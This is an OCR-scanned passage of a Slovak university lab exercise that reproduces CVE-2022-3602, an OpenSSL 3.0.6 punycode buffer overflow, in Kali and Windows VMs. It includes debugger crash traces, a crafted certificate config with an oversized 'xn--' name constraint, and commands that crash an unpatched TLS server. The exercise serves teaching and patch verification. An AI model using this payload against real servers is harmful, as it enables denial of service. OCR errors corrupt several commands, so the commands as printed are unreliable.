mozné dant zranitel'nost’ zopakovat. Moze obsahovat’ aj priamo kod K zneuzitiu chyby.
Informécie z tejto Casti su dolezité pre spravcov, ktori na zaklade tychto krokov moézu
otestovat’ spravovany systém a zistit’, ¢i sa zranitelnost’ tyka aj ich. KedZe moZze pri
replikovani zranitel'nosti dgjst’ ¢i uz k strate dat, alebo k ich poSkodeniu, je nutné, aby sa
testovanie vykonavalo na kopii systému a nie na hlavnom systéme.

Existuje niekolko databaz zranitel'nosti, najznamejSie znich st vuldb, nvd,
CVEdetails, Snyk a exploit database [54].
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Obrazok 2.7: Vyhl'adavanie zranitel'nosti pritomnych v glibc v databaze NVD.

Vyhodou kazdej zo spomenutych databaz je ich pristup k vyhl'adavaniu zranitel'nosti.
Vsetky z nich ponukaji textové vyhl'adavanie ¢i uz podl'a CVE c¢isla, programovacieho
jazyka alebo typu zranitel'nosti. Nevyhodou v niektorych databazach, napriklad v nvd
alebo v CVEdetails je moznost’ vyhl'adavania iba podl'a textu, bez blizSieho zamerania
na programovaci jazyk. To znamend, ze ak by sme chceli najst’ nejaka zranitelnost’
a konkrétny programovaci jazyk, dostali by sme rozne vysledky ako sme povodne
oCakavali. AvSak k d’al§im databazam, ku ktorym patri napriklad Snyk alebo exploit
database, je vyhl'adavanie jednoduchs$ie a uzivatel'sky prijatelnejsie. V pripade exploit
database je mozné zvolit’ typ zraniteI'nosti, platforma na ktorej sa vyskytuje, port, obsah
zraniteI'nosti, CVE ¢islo a podobne. V pripade nvd, exploit database alebo CVVEdetails je
mozné vyhl'adavat’ aj samotné kniznice, ako napriklad glibc, ku ktorym sa ndm zobrazia
prislusné zranitel'nosti a podl'a toho vieme zistit’, ako vel'mi st zraniteI'né a aké typy

zranitelnosti v nich prevladaju.

“EXPLOIT
ATABASE

Exploit Database Advanced Search

L} CVE Type Platform Port
glibe s v nux v -
[ Tag
= m
if fas App No Metasploit m
=2
=
(0] v
+ C
20180613 * glibe - 'realpath()’ Privilege Escalation (Metasploit) local Linux Metasploit
20180212 % glibc - ‘SORIGIN lacal Linux Metasploit
=
080212 # glibc - LD_AUDIT" Arbitra oad Privilege Escalation (Metasploit) local Linux Metasplait

Obrazok 2.8: Vyhl'adavanie zranitel'nosti tykajucich sa kniznice glibc v exploit
database.
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3 LABORATORNA ULOHA C. 1

3.1 PreteCenie vyrovnavacej pamite pri overovani
certifikatu (CVE-2022-3602)

Uvedena zranitelnost’ sa tyka kniznice, ktoru vyuziva OpenSSL. V tejto kniZnici
dochadza k preteeniu vyrovnavacej pamite. Vyvolanie zranitenosti moze nastat’ pri
overovani certifikatov X.509 a to vtedy, ak je certifikat upraveny a obsahuje Specificky
upravené pole s emailovou adresou, ktoré sa kontroluje pomocou funkcie nazyvanej name
constraint checking function. Nasledok vyvolania tejto zranitel'nosti je odopretie sluzby
(D0S). Postihnuté verzie, ktorych sa tato zranitel'nost’ tyka st 3.0.0 az 3.0.6. Tato chyba
v kéde bola opravena vo verzii 3.0.7 [55][56].

3.1.1 Postup

Pre zreplikovanie tejto zranite'nosti budeme potrebovat’ dve virtualne zariadenia — Kali
Linux a Windows 10.

Poznamka: Obidve virtudlne zariadenia musia mat’ nielen NAT adaptér, ale aj Host -
only, inak nebude mozny ping a pripojenie klienta k serverle nutné, aby bolo
dodrzané poradie adaptérov rovnako ako na obrazku 3.1 a obrazku 3.2. Ak by vsak stéle
nefungoval ping, bude potrebné vypnut firewall na Windowse, ¢o nebude vadit,
ked’Ze sa jedna iba znadzornenie zraniteI'nosti v laboratdrnej ulohe.

Virtual Machine Settings

Hardware Qptions

Device status

Device Summary

C ted
E=IMemory 3GB 8 connec
EpProcessors 5 B Connect at power on
[=\Hard Disk (5C51) 40 GB _
("~):CD/DVD (IDE) Using file C:\Users\peter\Dow. .. Connection
S Netwark Adapter MAT Use physical drive:
S Metwork Adapter 2 Host-only Auto detect
|2/ UsB Controller Present )
¢ Sound Card Auto detect © Use 150 image file:
= Printer Present | C:\Wsers'peter\Downloads\kalidinux-2023. 14nstalle Browse...
[_Ipisplay Auto detect

Advanced. ..

Obrazok 3.1: Nastavenia virtualneho zariadenia Kali Linux.
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Virtual Machine Settings

Hardware  QOptions
; Device status
Device Summary
E=IMemary 8GB 8 connect=d
1 ¥ Processors 5 B connect at power on
=4 Hard Disk (MVMe) 30 GB
() CD/DVD (SATA) Auto detect Netwark connection
Einetwork Adapter MAT (") Bridged: Connected directly to the physical network
T Network Adapter 2 Host-only Replicate physical network connection state
B USE Controller Present
£l Sound Card Auto detect © NAT: Used to share the host's IP address
= Printer Present (") Host-only: A private network shared with the host
[Ipisplay Auto detect () Custom: Spedific virtual network

Obrazok 3.2: Nastavenia virtualneho zariadenia Windows 10.

Vypnutie Firewallu na Windows: Prejdeme do Firewall & network
protection, vyberieme aktivnu siet’ a nastavime Defender Firewall na off.
Po vypnuti by uz mal byt ping funkény.

Prikazy pre Kali:

Pred samotnym zreplikovanym zranitelnosti je vhodné preskumat’, v ktorej casti kodu
dochadza k prete¢eniu pamite. K tomu budeme potrebovat’ debugger GDB a modul
Pwndbg, ktory obsahuje uzito¢né nastroje, ktoré ndm pomdzu v skiimani kniznice
s chybnym koédom. Prikazy, pomocou ktorych si nainStalujeme GDB a Pwndbg, pokial’

eSte nie su nainStalované, su tieto:

$ cd Downloads

wget https://ftp.gnu.org/gnu/gdb/gdb-11.2.tar.gz
tar -xf gdb-11.2.tar.gz

cd gdb-11.2

./configure

make -8 && make install

Po instalacii GDB sa presunieme naspat’ do prie¢inka Downloads zadanim .. do

vr Uvr 0 Vr

termindlu. Nésledne nainsStalujeme Pwndbg.

$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.shpw

Teraz pristipime k inStalaciam dvoch verzii OpenSSL ato 3.0.6, ktord obsahuje

spominant zranitelnost’ a 3.0.7, Vv ktorej je uz zranitelnost' opravend. Najskor si
vytvorime na pracovnej ploche prie¢inok, Vv mojom pripade openss1 a presunieme sa

do neho cez konzolu pomocou cd openssl.

$ git clone https://github.com/openssl/openssl.git

$ cd openssl

$ git checkout openssl-3.0.7

$ cd home/kali/Desktop/openssl/openssl

$ ./Configure --prefix=/home/kali/Desktop/openssl/openssl/build
$ export CFLAGS="-ggdb -00 -fsanitize=address,undefined"
$
$
$
$

make -8 && make install

cd /test
./punycode test
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Po zadani uvedenych prikazov by sme sa mali dostat’ k vypisu, ktory vypada nejako takto:

Vypis 3.1: Testy OpenSSL 3.0.7.

1..3

# Subtest: test punycode
1..19

ok 1 - iteration 1
ok 2 - iteration 2
ok 3 - iteration 3
ok 4 - iteration 4
ok 5 - iteration 5
ok 6 - iteration ©
ok 7 - iteration 7
ok 8 - iteration 8
ok 9 - iteration 9

ok 10 - iteration 10
ok 11 - iteration 11
ok 12 - iteration 12
ok 13 - iteration 13
ok 14 - iteration 14
ok 15 - iteration 15
ok 16 - iteration 16
ok 17 - iteration 17
ok 18 - iteration 18
ok 19 - iteration 19

ok 1 - test punycode

ok 2 - test aZulabel

ok 3 - test puny overrun

Tento vypis znaci, Ze vSetky testy prebehli bez problémov. V ramci inStalacie a pripravy

verzie 3.0.6 eSte naviac skopirujeme obsah priecinka /test z verzie 3.0.7.

git clone https://github.com/openssl/openssl.git openssl old
cd openssl old
git checkout openssl-3.0.6

cd openssl
cp -r test/* /home/kali/Desktop/openssl/openssl old/test

cd openssl old

./Configure --prefix=/home/kali/Desktop/openssl/openssl old/build
export CFLAGS="-ggdb -00 -fsanitize=address,undefined"

make -j8 && make install

U U Ur »r U > U Uy Uy O

Po dokonceni inStalacie znovu spustime testy a ako je mozné vidiet’, vykonal sa iba jeden

test namiesto troch.

Vypis 3.2: Testy OpenSSL 3.0.6.

$ cd test
$ ./punycode test
1..3
# Subtest: test punycode
1..19
ok 1 - iteration 1
ok 2 - iteration 2
ok 3 - iteration 3
ok 4 - iteration 4
ok 5 - iteration 5
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ok 6 - iteration 6
ok 7 - iteration 7
ok 8 - iteration 8
ok 9 - iteration 9

ok 10 - iteration 10
ok 11 - iteration 11
ok 12 - iteration 12
ok 13 - iteration 13
ok 14 - iteration 14
ok 15 - iteration 15
ok 16 - iteration 16
ok 17 - iteration 17
ok 18 - iteration 18
ok 19 - iteration 19
ok 1 - test punycode

zsh: segmentation fault ./punycode test
MobzZeme si vSak tieto testy spustit’ jednotlivo a preStudovat’ ich vypisy.
$ .

$ test/punycode test -test 1
$ test/punycode test -test 2
$ test/punycode test -test 3

Vo vypise nizsie je mozné vidiet' detegovanu chybu pri vykonani jedného z testov.

Vypis 3.3: Detekovana chyba pocas testu.

# ERROR: (bool) 'ossl punycode decode (in, strlen(in), buf, &bsize) ==
false' failed @ test/punycode test.c:206

# true

# ERROR: @ test/punycode test.c:208

# CRITICAL: buffer overrun detected!

#
# OPENSSL_TEST RAND ORDER=1696163907
not ok 1 - test puny overrun

V nasledujtcich troch vypisoch st zobrazené ukazky po testoch, ktoré boli vykonané
v debuggeri GDB.

Vypis 3.4: Prvy test.

$ gdb test/punycode test
pwndbg> r -test 1
Starting program:
/home/kali/Desktop/openssl/openssl old/test/punycode test -test 1
[Thread debugging using libthread db enabled]
Using host libthread db library "/1lib/x86 64-linux-
gnu/libthread db.so.1".

# Subtest: test punycode

1..19

ok 1 - iteration 1
ok 2 - iteration 2
ok 3 - iteration 3
ok 4 - iteration 4
ok 5 - iteration 5
ok 6 - iteration 6
ok 7 - iteration 7
ok 8 - iteration 8
ok 9 - iteration 9
ok 10 - iteration 10
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ok 11 - iteration 11
ok 12 - iteration 12
ok 13 - iteration 13
ok 14 - iteration 14
ok 15 - iteration 15
ok 16 - iteration 16
ok 17 - iteration 17
ok 18 - iteration 18
ok 19 - iteration 19
ok 1 - test punycode
==90945==LeakSanitizer has encountered a fatal error.
==90945==HINT: For debugging, try setting environment variable
LSAN OPTIONS=verbosity=1:log threads=1
==90945==HINT: LeakSanitizer does not work under ptrace (strace, gdb,
etc)
[Inferior 1 (process 90945) exited with code 01]

V ramci vypisu 3.4 si mdzeme na konci v§imnut’ chybu, ktorad sa tyka LeakSanitizera

(LSAN). LSAN je nastroj s pomocou ktorého je mozné identifikovat’ tniky paméti
v kode. Dokaze detegovat’ miesta v kode, kde dochadza k nespravnemu uvolnovaniu
pamite, alebo neuvolfiuje pamit’ vobec, Co mdze viest’ k preteCeniu pamiti. Z vypisu je
mozn¢ vidiet, ze LSAN identifikoval v rdmci prvého testu preteCenie pamiti, ktoré sa
tyka nasej zranitel'nosti.

Vypis 3.5: Druhy test.

$ r -test 2

pwndbg> r -test 2

Starting program:

/home/kali/Desktop/openssl/openssl old/test/punycode test -test 2
[Thread debugging using libthread db enabled]

Using host libthread db library "/lib/x86 64-linux-

gnu/libthread db.so.1".

crypto/punycode.c:303:25: runtime error: store to null pointer of
type 'char'

Program received signal SIGSEGV, Segmentation fault.

0x000055555617843¢c in (in=0x5555568f07c0 "xn--a.b.c",
out=0x0, outlen=0x7ffff4e00920) at crypto/punycode.c:303

303 *outptr = '.';

LEGEND: | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x0
*RBX O0x7fff£52008e0 <«— 0x0
*RCX 0x7f£f££701a900
(_ _sanitizer::ScopedBlockSignals::~ScopedBlockSignals ()+16) —*
0x8b841d23100 <«— 0x0

RDX 0xO0

*RDI 0x5555561783fe (ossl aZulabel+1814) <— mov rax, gword ptr [rbp
- 0x940]

RSI 0x0

*R8 0x1b

RS <— 0x555556937d5100

*R10 O0x7ff£f£78072c0 <«— 0xc00220000aebe

*R11 0x206

*R12 Oxffffead0000 <«— 0x0
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*R13 Ox7£f£££5200000 <«— 0x41b58ab3

R14 0xO0

*R15 Ox7f£££7££d000 (_rtld global) —»>

0x555555554000 <«— 0x10102464c457f

*RBP = =
<«— 0x3

*RSP —» <«— 0x0

Ox7f£f££7f£fe2d0 —»

*RIP 0x55555617843c (ossl a2ulabel+1876) <«— mov byte ptr [rax]

[ DISASM / x86-64 / set emulate on

» 0x55555617843c <ossl aZulabel+1876> mov
0x55555617843f <ossl aZulabel+1879> mov
- 0x940]
0x555556178446 <ossl a2ulabel+1886> lea
0x55555617844a <ossl aZulabel+1890> cmp
0x55555617844e <ossl aZulabel+1894> Jjb

<ossl aZulabel+1921>
1

0x555556178469 <ossl aZulabel+1921> add
0x940]1, 1

0x555556178471 <ossl aZulabel+1929> add
0x9301, 1

0x555556178479 <ossl a2ulabel+1937> mov
- 0x968]

0x555556178480 <ossl aZulabel+1944> cmp
0x968]1, O

0x555556178488 <ossl a2ulabel+1952> Je

<ossl aZulabel+1965>

!
0x555556178495 <ossl aZulabel+1965> mov

]
byte
rax,

rdx,
rax,

ptr [rax]

, 0x2e

, 0x2e

gword ptr [rbp

[rax + 1]
-1

ossl aZulabel+1921

gword ptr

gword ptr

rax,

[rbp -

[rbp -

gword ptr [rbp

gword ptr

[rbp -

ossl aZulabel+1965

rsi,

rax

[ SOURCE (CODE) ]

In file: /home/kali/Desktop/openssl/openssl old/crypto/punycode.c

'xn--a.b.c'
» Ox7ff£f£7£c3170 —»

'xn--a.b.c'

298 outptr += utfsize;
299 }
300 }
301
302 if (tmpptr != NULL) {
» 303 *outptr = '.';
304 outptr++;
305 size++;
306 if (size >= *outlen - 1)
307 result = 0;
308 }
[ STACK ]
00:0000| rsp —» «— 0x0
01:0008]| —> Ox7f£f£4e00920 <«— 0x0
02:0010]| «— 0x0
03:0018]| —> 0x5555568£f07c0 <«—
04:0020]| — _
0x7f£££7800000 <«— 0x10102464c457f
05:0028 ]| —» 0x100000000 <— 0x0
06:0030]| «— 0x0
07:0038] —> 0x5555568£07c0 <«—
[ BACKTRACE ]
» 0 0x55555617843c ossl aZulabel+1876
1 0x5555560527de test aZulabel+176
2 0x555556055¢c18 run tests+4800
3  0x555556057a2b main+182
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4 Ox7ffff76456ca _ libc start call main+122
5 O0x7ffff7645785  libc start main+133
6 0x555556052021 start+33

V druhom teste dochédza k vypisu chyby zndmej ako segmentation fault, ktord
je sprevadzana signalom SIGSEV. Tato chyba sa objavuje v pripade, ked sa snazi
program pristupovat’ k pamiti, ku ktorej nema pristup alebo je nespravne alokovana. K
vyskytu chyby dochddza vo funkcii ossl a2ulabel, ktord savisi s naSou
zraniteI'nostou. V poli source code je vyznaceny riadok ¢. 303, v ktorom je mozné

vidiet’ presnu ¢ast’ kodu, v ktorej dochadza k spomenutej zranitel'nosti.

Vypis 3.6: Treti test.

$ r -test 3

pwndbg> r -test 3

Starting program:

/home/kali/Desktop/openssl/openssl old/test/punycode test -test 3
[Thread debugging using libthread db enabled]

Using host libthread db library "/1lib/x86 64-linux-
gnu/libthread db.so.1".

# ERROR: (bool) 'ossl punycode decode (in, strlen(in), buf, &bsize) ==
false' failed @ test/punycode test.c:206

# true

# ERROR: @ test/punycode test.c:208

# CRITICAL: buffer overrun detected!

#
# OPENSSL_TEST RAND ORDER=1696265202
not ok 1 - test puny overrun

==91732==LeakSanitizer has encountered a fatal error.

==91732==HINT: For debugging, try setting environment variable
LSAN OPTIONS=verbosity=1:1log threads=1

==91732==HINT: LeakSanitizer does not work under ptrace (strace, gdb,
etc)

[Inferior 1 (process 91732) exited with code 01]

V tretom teste je mozné vidiet, Ze test nebol uspesne dokonceny a doslo k chybe.

Tentokrat dochadza k vyskytu zavaznej chyby vo funkcii oss1 punycode decode,
pri¢om dovodom jej vzniku je preteCenie vyrovnavacej paméte. TaktieZ je mozné vidiet,
ze aj LSAN identifikoval toto preteCenie vyrovnavacej pamite tykajuce sa naSej
zranitel'nosti.

Vygenerovanie certifikatov:

V nasledujlcej Casti si ukdZeme, ako vygenerovat’ potrebné certifikaty, ktoré su potrebné
pre zreplikovanie tejto zranitelnosti. Certifikaty sa generuji vo verzii OpenSSL 3.0.6.
Ako prvé je nutné vytvorit' dva stibory: ca.cnf aleaf.cnf. Na vytvorenie tychto
dvoch stiborov mézeme pouZit’ napriklad nastroj nano. Tieto stibory nésledne ulozime
do priecinka /build/bin V priecinku s verziou OpenSSL 3.0.6. [58]

Vypis 3.7: Obsah stiboru ca.cnf.

[ req ]
default bits = 2048
distinguished name = req distinguished name
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attributes = req attributes
prompt no
req extensions v3 req

[ req distinguished name ]

countryName= Czech Republic
stateOrProvinceName= Jihomoravsky
localityName= Brno
organizationName= vut
organizationalUnitName= wvut
commonName= WWw.vut.cz
emailAddress= admin@vut.cz

[ req attributes ]

# empty

[ v3 req ]

subjectKeyIdentifier = hash

#authorityKeyIdentifier = keyid:always,issuer:always

basicConstraints = critical, CA:true

nameConstraints = permitted;email :xn——

ww902716aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

keyUsage = critical, digitalSignature, cRLSign, keyCertSign

Vypis 3.8: Obsah stiboru 1eaf.cnf.

[ req ]

default bits = 2048

distinguished name = req distinguished name
attributes = req attributes

prompt = no

req extensions = v3 req

[ req distinguished name ]

countryName= Czech Republic
stateOrProvinceName= Jihomoravsky
localityName= Brno
organizationName= vut
organizationalUnitName= vut
commonName= Www.vut.cz
#emailAddress= admin@vut.cz

[ req attributes ]
# empty

[ v3 req ]
subjectAltName = @san parts

[ san parts ]
otherName = 1.3.6.1.5.5.7.8.9;UTF8:admin@xn--leaf.example.com

Po vytvoreni tychto suborov méZeme pristipit’ ku generovaniu certifikatov. Je nutné, aby
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sme sa Vv terminali nachadzali v prieinku /build/bin s verziou OpenSSL 3.0.6.

$ ./openssl reqg -new -newkey rsa:2048 -config
/home/kali/Desktop/openssl/openssl old/build/bin/ca.cnf -keyout
ca.key -noenc -out ca.csr

$ ./openssl x509 -in

/home/kali/Desktop/openssl/openssl old/build/bin/ca.csr -out ca.pem
-req -signkey

/home/kali/Desktop/openssl/openssl old/build/bin/ca.key -extfile
/home/kali/Desktop/openssl/openssl old/build/bin/ca.cnf -extensions
v3 req -days 1001

$ ./openssl reqg -new -newkey rsa:2048 -config
/home/kali/Desktop/openssl/openssl old/build/bin/leaf.cnf -keyout
leaf.key -noenc -out leaf.csr

$ ./openssl x509 -CA

/home/kali/Desktop/openssl/openssl old/build/bin/ca.pem -CAkey
/home/kali/Desktop/openssl/openssl old/build/bin/ca.key -
CAcreateserial -in

/home/kali/Desktop/openssl/openssl old/build/bin/leaf.csr -out
leaf.pem -req -extfile

/home/kali/Desktop/openssl/openssl old/build/bin/leaf.cnf -
extensions v3 req -days 1001

Po vykonani tychto prikazov uz by sme mali mat’ vygenerované vSetky potrebné stibory.

Posledna vec, ktora nam zostava, je nainstalovat’ OpenSSL verziu (nejaku od 3.0.0. po
3.0.6) do klienta s operaénym systémom Windows 10. V nasom pripade to bude verzia
3.0.5.

Postup replikacie chyby:

Stiahnut’ na Windows klientovi OpenSSL z tohto odkazu a rozbalit’ ho do priecinka.
Stahovanie by malo zacat’ automaticky, ak nezac¢ne alebo nebude odkaz funkény, je
mozné vyuzit' odkaz na disk Google. Pred samotnym pokusom pripojit’ sa na server,
overime funk¢énost’ pingdm medzi nasimi virtudlnymi zariadeniami. Po ispeSnom pingu
mozeme otvorit’ prikazovy riadok v prie€inku, kde je rozbalené OpenSSL.

#Prikaz pre Kali

$ ./openssl s server -cert

/home/kali/Desktop/openssl/openssl old/build/bin/leaf.pem -key
/home/kali/Desktop/openssl/openssl old/build/bin/leaf.key -

cert chain /home/kali/Desktop/openssl/openssl old/build/bin/ca.pem -
accept 9001

#Prikaz pre Windows

$ openssl.exe s client IP adresa serveru:9001

Po zadani druhého prikazu by malo do niekol’kych sekund prist’ k ukon¢eniu spojenia zo
strany serveru.
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https://sourceforge.net/projects/openssl-for-windows/files/OpenSSL-3.0.5_win32.zip/download
https://drive.google.com/drive/folders/1jHZxfhaMZea7Eb7-5sOJbnzghnAgk2Qr?usp=drive_link

BN C\Windows\System32\cmd.exe

C:\Users\peter\Downloads\OpenSSL-3.08.5 win32\0penSSL-3.0.5 win32>openssl.exe s_client 192.168.221.138:9001
CONNECTED(eeeee17e)

Can’t use SSL_get_servername

depth=1 C = CZ, ST = CZ, L = Brno, O = vut, OU = vut, CN = www.vut.cz, emailAddress = admin@vut.cz

verify error:num=19:self-signed certificate in certificate chain

verify return:1

depth=1 C = CZ, ST = CZ, L = Brno, O = vut, OU = vut, CN = www.vut.cz, emailAddress = admin@vut.cz

verify return:1l

depth=8 C = CZ, ST = CZ, L = Brno, 0 = vut, OU = vut, CN = www.example.com

verify return:i

C:\Users\peter\Downloads\OpenS5L-3.08.5_win32\0pensSSL-3.0.5_win32>_

Obrazok 3.3: Spustenie klienta OpenSSL.

B ——
i ~/D ey U L l-
File Actions Edit View Help
r -(zeus® ka [~/-/openssl/openssl_old/build/bin) ’
./ope s_server -cert /home/zeus/Desktop/openssl/openssl_old/build/bin/leaf.pem -Lcy /home/zeus/Desktop/openssl/openssl_old/b
uild/bin/leaf.key rt_ in /home/zeus/Desktop/openssl/openssl_old/build/bin/ca.pem -accept 9001
Using default temp DH parameters
ACCEPT
ERROR

shutting down SSL
CONNECTION CLOSED

Obrazok 3.4: Vypis zo strany servera OpenSSL.
Postup opravy chyby:

Po uspesnom ukonceni spojenia S vyuzitim pretecenia vyrovndvacej pamate si moZeme
teraz skusit’ to isté aj s verziou OpenSSL 3.0.7. Mo6zeme vyuzit' bud’ nase povodné
certifikaty, ktoré boli vygenerované vo verzii OpenSSL 3.0.6, alebo si mdZeme nanovo
vygenerovat’ nové, tentokrat vo verzii OpenSSL 3.0.7. V pripade generovania novych
certifikatov je potrebné skopirovat’ nase dva vytvorené sibory leaf.cnf aca.cnf do
prie¢inka build/bin S novSou verziou OpenSSL.
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$ cp Desktop/openssl/openssl old/build/bin/ca.cnf
Desktop/openssl/openssl/build/bin

$ cp Desktop/openssl/openssl old/build/bin/leaf.cnf
Desktop/openssl/openssl/build/bin

Nasledne pokracujeme vytvaranim certifikatov podobne ako v predchadzajucej verzii.

$ ./openssl req -new -newkey rsa:2048 -config
/home/kali/Desktop/openssl/openssl/build/bin/ca.cnf -keyout ca.key -
noenc -out ca.csr

$ ./openssl x509 -in
/home/kali/Desktop/openssl/openssl/build/bin/ca.csr -out ca.pem -req
-signkey /home/kali/Desktop/openssl/openssl/build/bin/ca.key -
extfile /home/kali/Desktop/openssl/openssl/build/bin/ca.cnf -
extensions v3 req -days 1001

$ ./openssl req -new -newkey rsa:2048 -config
/home/kali/Desktop/openssl/openssl/build/bin/leaf.cnf -keyout
leaf.key -noenc -out leaf.csr

$ ./openssl x509 -CA
/home/kali/Desktop/openssl/openssl/build/bin/ca.pem -CAkey
/home/kali/Desktop/openssl/openssl/build/bin/ca.key -CAcreateserial
-in /home/kali/Desktop/openssl/openssl/build/bin/leaf.csr -out
leaf.pem -req -extfile
/home/kali/Desktop/openssl/openssl/build/bin/leaf.cnf -extensions

v3 req -days 1001

Po vytvoreni certifikatov pristipime k inStalacii novsej verzie OpenSSL aj na virtudlnom

zariadeni s Windows 10. V naSom pripade mdzeme pouzit napriklad verziu 3.0.12
dostupnt z tohto odkazu alebo z disku Google. Spustime instalaciu a po jej dokonceni
moézeme pokracovat. Na zaver spustime server a pokusime sa pripojit’ ako klient. Pri
spastani  serveru je  dolezité, aby sme sa stermindlom nachadzali
V /openssl/build/bin. Pre nova verziu s klientom je tiez dolezité, aby sme sa
nachadzali v prie¢inku /bin s prikazovym riadkom.

#Prikaz pre Kali

$ ./openssl s server -cert
/home/kali/Desktop/openssl/openssl/build/bin/leaf.pem -key
/home/kali/Desktop/openssl/openssl/build/bin/leaf.key -cert chain
/home/kali/Desktop/openssl/openssl/build/bin/ca.pem -accept 9001
#Prikaz pre Windows

$ openssl.exe s client IP adresa serveru:9001
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https://slproweb.com/download/Win64OpenSSL-3_0_12.exe
https://drive.google.com/drive/folders/1jHZxfhaMZea7Eb7-5sOJbnzghnAgk2Qr?usp=drive_link

~] root@kali: /home/zeus/Desktop/openssl/openssl/build/bin &
File Actions Edit View Help

ECDHE-ECDSA-AES128-GCM-SHA256: ECDHE-RSA-AES128-GCM-SHA256 : DHE-RSA-AES128-GCM-SHA256: EC
DHE-ECDSA-AES256-SHA384 : ECDHE-RSA-AES256-SHA384 : DHE-RSA-AES256-SHA256 : ECDHE-ECDSA-AES1
28-SHA256: ECDHE-RSA-AES128-SHA256 : DHE-RSA-AES128-SHA256: ECDHE-ECDSA-AES256-SHA: ECDHE-R
SA-AES256-SHA:DHE-RSA-AES256-SHA: ECDHE-ECDSA-AES128-SHA: ECDHE-RSA-AES128-SHA:DHE-RSA-A
ES128-SHA:AES256-GCM-SHA384 : AES128-GCM-SHA256: AES256-SHA256 : AES128-SHA256: AES256-SHA:A
ES128-SHA

Signature Algorithms: ECDSA+SHA256:ECDSA+SHA384:ECDSA+SHAS512:Ed25519:Ed448:RSA-PSS+SHA
256 :RSA-PSS+SHA384 :RSA-PSS+SHAS512 : RSA-PSS+SHA256 : RSA-PSS+SHA384 : RSA-PSS+SHAS512 : RSA+SHA
256 :RSA+SHA384 :RSA+SHAS512 : ECDSA+SHA224 : RSA+SHA224 : DSA+SHA224 : DSA+SHA256 : DSA+SHA384 : DSA
+SHAS512

Shared Signature Algorithms: ECDSA+SHA256:ECDSA+SHA384:ECDSA+SHAS12:Ed25519:Ed448:RSA-
PSS+SHA256 : RSA-PSS+SHA384 : RSA-PSS+SHA512 : RSA-PSS+SHA256 : RSA-PSS+SHA384 : RSA-PSS+SHA512:
RSA+SHA256: RSA+SHA384 :RSA+SHAS512 : ECDSA+SHA224 : RSA+SHA224

Supported groups: x25519:secp256rl:x448:secp521rl:secp384rl:ffdhe2048:ffdhe3072: ffdhes
096: ffdhe6144: ffdhe8192

Shared groups: x25519:secp256rl:x448:secp521rl:secp384rl:ffdhe2048:ffdhe3072:ffdhe4096
:ffdhe6144:ffdhe8192

CIPHER is TLS_AES_256_GCM_SHA384

Secure Renegotiation IS supported

test CVE-2022-3602

—_— — — e -— -— = - - - _— - — _—— — _—

Obrazok 3.5: Server beziaci na verzii OpenSSL 3.0.7.

Session-ID-ctx:
Resumption PSK: 847F4CFO9SEFSDDOA92D7B4EF@1ACICA425D48D4423CES9F14B84ES30784C4BB645BF1BFCIS6C6FEDE6ABE96171DD750F
PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 7280 (seconds)

TLS session ticket:

8800 - 1d B8 7e la d2 e® 4b fa-a8 98 ab 2c dd 3 3a a3 B 2 O [ e =

0018 - bc ©5 aa 3b @b S5c 62 b6-3@ bd b7 a@ cc 88 ba ff ...;.\b.®.......

0020 - 6b 07 2b e9 fb db 1e 25-1b 1b ac 6e a5 e5 cb 9a k.+....%...n....

9030 - 33 f3 f6 64 23 c7 5d eB-95 69 82 4d 7e 33 37 32 3..d#.]..i.M~372

9040 - 98 Bc 50 ed 69 a@ 72 65-3e @6 65 a5 ff ce d6 55
0058 - dd @1 ca ed 72 6@ d9 11-f1 13 bl 3f 1a 88 3d d8
006@ - 1c fS df ab dd 7b ca 6b-1c ¢4 ¢7 ca 5d 85 @8 e@
9070 - 7a bl c1 f5 9e 63 22 86-a8 1f 14 fc f5 6a 39 73
©e88 - 32 ad 85 86 19 68 fe d8-dd 4d 24 85 89 a2 ed 6e
9099 - @8 92 fb 7e 3c 22 61 c5-ba 44 47 97 fd a9 e® da
©0a8 - 40 00 be 11 8d 5b 84 da-2f 57 1f 31 al 7f e8 1c
©ebe - 37 89 38 80 db 35 3b 27-82 5d f5 e2 33 bl d2 a7
80ce - bb 2d ¢@ bl 93 24 73 3b-a4 ba 55 8f e6 85 9e 24

Start Time: 1701193416
Timeout : 7200 (sec)
Verify return code: 1 (unspecified certificate verification error)
Extended master secret: no
Max Early Data: @
read R BLOCK
test CVE-2022-3602

Obrazok 3.6: Pripojenie klienta s verziou OpenSSL 3.0.12.

3.1.2 Porovnanie kédu
V tejto Casti laboratdrnej tlohy bude porovnany a bliZsie rozobrany zdrojovy kod suboru
punycode.c, vo verziach OpenSSL 3.0.6 a 3.0.7, v ktorom dochadzalo k vyskytu
zranitel'nosti. V nasledujucich vypisoch su zelenou farbou vyznacené riadky s novym
pridanym kodom a ¢ervenou farbou su vyznacené riadky s odstranenym kédom.

Vypis 3.9: Ukazka kddu suboru punycode . ¢ vo verzii OpenSSL 3.0.6 a 3.0.7.

[ #define PUSHC (c) |
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do
if (size++ < maxsize)
*outptr++ = c;
else
result = 0;
while (0)

int ossl a2ulabel (const char *in, char *out, size t *outlen)

char *outptr = out;

const char *inptr = in;
size t size = 0;
int result = 1;

unsigned int buf[LABEL_BUF_SIZE];
if (out == NULL)
result = 0;

while (1) {
char *tmpptr = strchr (inptr, '.');

size t delta = (tmpptr) ? (size t) (tmpptr - inptr)

strlen (inptr) ;

size t delta = tmpptr != NULL ? (size t) (tmpptr - inptr)

strlen (inptr) ;

